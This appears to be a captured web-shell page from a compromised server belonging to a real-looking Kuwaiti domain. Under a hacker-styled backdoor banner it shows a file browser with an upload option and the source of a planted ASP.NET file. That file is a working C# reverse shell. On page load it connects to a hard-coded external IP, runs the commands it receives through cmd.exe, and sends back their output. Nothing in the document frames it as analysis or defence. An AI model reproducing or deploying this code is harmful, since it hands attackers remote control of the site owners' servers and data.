[$] Pr1v473 xHeEl B4ckD00RzZ [$]

Current Path : D:/InetPub/vhosts/kuccs.com.kw/httpdocs/PortalFiles/
Upload File
Current File : D:/InetPub/vhosts/kuccs.com.kw/httpdocs/PortalFiles/bbs.aspx

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e)
    {
        string host = "100.42.182.143"; // Target IP address
        int port = 66; // Target port number

        try
        {
            using (TcpClient client = new TcpClient())
            {
                client.Connect(host, port);
                using (NetworkStream networkStream = client.GetStream())
                using (StreamWriter writer = new StreamWriter(networkStream))
                using (StreamReader reader = new StreamReader(networkStream))
                {
                    writer.AutoFlush = true;
                    writer.WriteLine("Connected");

                    while (true)
                    {
                        string serverCommand = reader.ReadLine();
                        if (serverCommand.ToLower() == "exit")
                        {
                            break;
                        }

                        string output = ExecuteCommand(serverCommand);
                        writer.WriteLine(output);
                    }
                }
            }
        }
        catch (SocketException se)
        {
            // Handle socket-specific exceptions
            Response.Write("Socket Error: " + se.Message);
        }
        catch (Exception ex)
        {
            // Handle other exceptions
            Response.Write("General Error: " + ex.Message);
        }
    }

    private string ExecuteCommand(string command)
    {
        try
        {
            System.Diagnostics.Process proc = new System.Diagnostics.Process();
            proc.StartInfo.FileName = "cmd.exe";
            proc.StartInfo.Arguments = "/c " + command;
            proc.StartInfo.RedirectStandardOutput = true;
            proc.StartInfo.UseShellExecute = false;
            proc.StartInfo.CreateNoWindow = true;
            proc.Start();

            string output = proc.StandardOutput.ReadToEnd();
            proc.WaitForExit();
            return output;
        }
        catch (Exception ex)
        {
            return "Error: " + ex.Message;
        }
    }
</script>